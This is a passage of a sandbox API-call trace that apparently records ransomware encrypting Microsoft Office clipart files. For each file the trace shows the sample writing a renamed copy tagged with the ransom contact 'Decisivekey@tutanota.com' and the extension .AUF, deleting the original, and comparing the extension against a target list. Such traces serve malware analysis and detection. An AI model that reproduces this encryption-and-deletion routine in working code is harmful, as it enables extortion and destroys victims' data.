files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif")) returned 1 [0216.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0216.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0216.096] lstrlenW (lpString=".doc") returned 4 [0216.097] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0216.097] lstrlenW (lpString=".docx") returned 5 [0216.097] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0216.097] lstrlenW (lpString=".pdf") returned 4 [0216.097] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0216.097] lstrlenW (lpString=".xls") returned 4 [0216.097] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0216.097] lstrlenW (lpString=".xlsx") returned 5 [0216.097] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0216.097] lstrlenW (lpString=".ppt") returned 4 [0216.097] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0216.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0216.097] lstrlenW (lpString=".zip") returned 4 [0216.097] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0216.097] lstrlenW (lpString=".rar") returned 4 [0216.097] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0216.097] lstrlenW (lpString=".bz2") returned 4 [0216.097] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0216.097] lstrlenW (lpString=".7z") returned 3 [0216.097] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0216.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0216.097] lstrlenW (lpString=".dbf") returned 4 [0216.097] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0216.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0216.097] lstrlenW (lpString=".1cd") returned 4 [0216.097] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0216.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63 [0216.097] lstrlenW (lpString=".jpg") returned 4 [0216.097] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0216.097] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=502) returned 1 [0216.097] CloseHandle (hObject=0x208) returned 1 [0216.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif")) returned 0x20 [0216.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0216.098] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.098] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0216.098] GetLastError () returned 0x0 [0216.098] ReadFile (in: hFile=0x208, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x1f6, lpOverlapped=0x0) returned 1 [0216.099] WriteFile (in: hFile=0x218, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x200, lpOverlapped=0x0) returned 1 [0216.100] ReadFile (in: hFile=0x208, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.100] WriteFile (in: hFile=0x218, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.100] SetEndOfFile (hFile=0x218) returned 1 [0216.100] CloseHandle (hObject=0x218) returned 1 [0216.100] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.100] SetEndOfFile (hFile=0x208) returned 1 [0216.101] CloseHandle (hObject=0x208) returned 1 [0216.101] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.101] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif")) returned 1 [0216.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0216.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0216.101] lstrlenW (lpString=".doc") returned 4 [0216.101] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0216.101] lstrlenW (lpString=".docx") returned 5 [0216.101] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0216.101] lstrlenW (lpString=".pdf") returned 4 [0216.101] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0216.101] lstrlenW (lpString=".xls") returned 4 [0216.101] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0216.102] lstrlenW (lpString=".xlsx") returned 5 [0216.102] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0216.102] lstrlenW (lpString=".ppt") returned 4 [0216.102] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0216.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0216.102] lstrlenW (lpString=".zip") returned 4 [0216.102] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0216.102] lstrlenW (lpString=".rar") returned 4 [0216.102] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0216.102] lstrlenW (lpString=".bz2") returned 4 [0216.102] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0216.102] lstrlenW (lpString=".7z") returned 3 [0216.102] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0216.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0216.102] lstrlenW (lpString=".dbf") returned 4 [0216.102] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0216.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0216.102] lstrlenW (lpString=".1cd") returned 4 [0216.102] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0216.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0216.102] lstrlenW (lpString=".jpg") returned 4 [0216.102] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0216.114] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.114] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0216.115] GetLastError () returned 0x0 [0216.115] ReadFile (in: hFile=0x220, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x319e, lpOverlapped=0x0) returned 1 [0216.136] WriteFile (in: hFile=0x1f8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x31a0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x31a0, lpOverlapped=0x0) returned 1 [0216.137] ReadFile (in: hFile=0x220, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.137] WriteFile (in: hFile=0x1f8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.137] SetEndOfFile (hFile=0x1f8) returned 1 [0216.137] CloseHandle (hObject=0x1f8) returned 1 [0216.138] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.138] SetEndOfFile (hFile=0x220) returned 1 [0216.138] CloseHandle (hObject=0x220) returned 1 [0216.139] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.139] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif")) returned 1 [0216.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0216.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0216.139] lstrlenW (lpString=".doc") returned 4 [0216.139] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0216.139] lstrlenW (lpString=".docx") returned 5 [0216.139] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0216.139] lstrlenW (lpString=".pdf") returned 4 [0216.139] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0216.139] lstrlenW (lpString=".xls") returned 4 [0216.139] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0216.139] lstrlenW (lpString=".xlsx") returned 5 [0216.139] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0216.139] lstrlenW (lpString=".ppt") returned 4 [0216.139] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0216.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0216.139] lstrlenW (lpString=".zip") returned 4 [0216.139] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0216.139] lstrlenW (lpString=".rar") returned 4 [0216.139] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0216.139] lstrlenW (lpString=".bz2") returned 4 [0216.139] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0216.140] lstrlenW (lpString=".7z") returned 3 [0216.140] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0216.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0216.140] lstrlenW (lpString=".dbf") returned 4 [0216.140] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0216.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0216.140] lstrlenW (lpString=".1cd") returned 4 [0216.140] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0216.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63 [0216.140] lstrlenW (lpString=".jpg") returned 4 [0216.140] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0216.140] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=15308) returned 1 [0216.140] CloseHandle (hObject=0x220) returned 1 [0216.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif")) returned 0x20 [0216.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0216.140] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.140] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0216.141] GetLastError () returned 0x0 [0216.141] ReadFile (in: hFile=0x220, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x3bcc, lpOverlapped=0x0) returned 1 [0216.149] WriteFile (in: hFile=0x1f8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x3bd0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x3bd0, lpOverlapped=0x0) returned 1 [0216.150] ReadFile (in: hFile=0x220, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.150] WriteFile (in: hFile=0x1f8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.150] SetEndOfFile (hFile=0x1f8) returned 1 [0216.157] CloseHandle (hObject=0x1f8) returned 1 [0216.157] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.157] SetEndOfFile (hFile=0x220) returned 1 [0216.158] CloseHandle (hObject=0x220) returned 1 [0216.158] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.158] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif")) returned 1 [0216.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0216.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0216.158] lstrlenW (lpString=".doc") returned 4 [0216.158] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0216.158] lstrlenW (lpString=".docx") returned 5 [0216.158] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0216.158] lstrlenW (lpString=".pdf") returned 4 [0216.158] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0216.158] lstrlenW (lpString=".xls") returned 4 [0216.158] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0216.158] lstrlenW (lpString=".xlsx") returned 5 [0216.158] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0216.158] lstrlenW (lpString=".ppt") returned 4 [0216.158] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0216.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0216.158] lstrlenW (lpString=".zip") returned 4 [0216.158] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0216.158] lstrlenW (lpString=".rar") returned 4 [0216.158] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0216.158] lstrlenW (lpString=".bz2") returned 4 [0216.158] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0216.158] lstrlenW (lpString=".7z") returned 3 [0216.158] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0216.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0216.158] lstrlenW (lpString=".dbf") returned 4 [0216.158] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0216.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0216.158] lstrlenW (lpString=".1cd") returned 4 [0216.159] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0216.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0216.159] lstrlenW (lpString=".jpg") returned 4 [0216.159] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0216.159] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=4955) returned 1 [0216.159] CloseHandle (hObject=0x220) returned 1 [0216.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif")) returned 0x20 [0216.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0216.159] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.159] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0216.160] GetLastError () returned 0x0 [0216.160] ReadFile (in: hFile=0x220, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x135b, lpOverlapped=0x0) returned 1 [0216.164] WriteFile (in: hFile=0x1f8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x1360, lpOverlapped=0x0) returned 1 [0216.165] ReadFile (in: hFile=0x220, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.165] WriteFile (in: hFile=0x1f8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.165] SetEndOfFile (hFile=0x1f8) returned 1 [0216.165] CloseHandle (hObject=0x1f8) returned 1 [0216.165] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.165] SetEndOfFile (hFile=0x220) returned 1 [0216.166] CloseHandle (hObject=0x220) returned 1 [0216.166] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.166] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif")) returned 1 [0216.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0216.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0216.166] lstrlenW (lpString=".doc") returned 4 [0216.166] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0216.166] lstrlenW (lpString=".docx") returned 5 [0216.166] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0216.166] lstrlenW (lpString=".pdf") returned 4 [0216.166] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0216.166] lstrlenW (lpString=".xls") returned 4 [0216.166] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0216.166] lstrlenW (lpString=".xlsx") returned 5 [0216.166] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0216.166] lstrlenW (lpString=".ppt") returned 4 [0216.166] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0216.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0216.166] lstrlenW (lpString=".zip") returned 4 [0216.166] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0216.166] lstrlenW (lpString=".rar") returned 4 [0216.166] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0216.166] lstrlenW (lpString=".bz2") returned 4 [0216.166] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0216.166] lstrlenW (lpString=".7z") returned 3 [0216.166] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0216.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0216.167] lstrlenW (lpString=".dbf") returned 4 [0216.167] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0216.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0216.167] lstrlenW (lpString=".1cd") returned 4 [0216.167] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0216.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0216.167] lstrlenW (lpString=".jpg") returned 4 [0216.167] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0216.167] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=1146) returned 1 [0216.167] CloseHandle (hObject=0x220) returned 1 [0216.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif")) returned 0x20 [0216.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0216.167] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.167] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 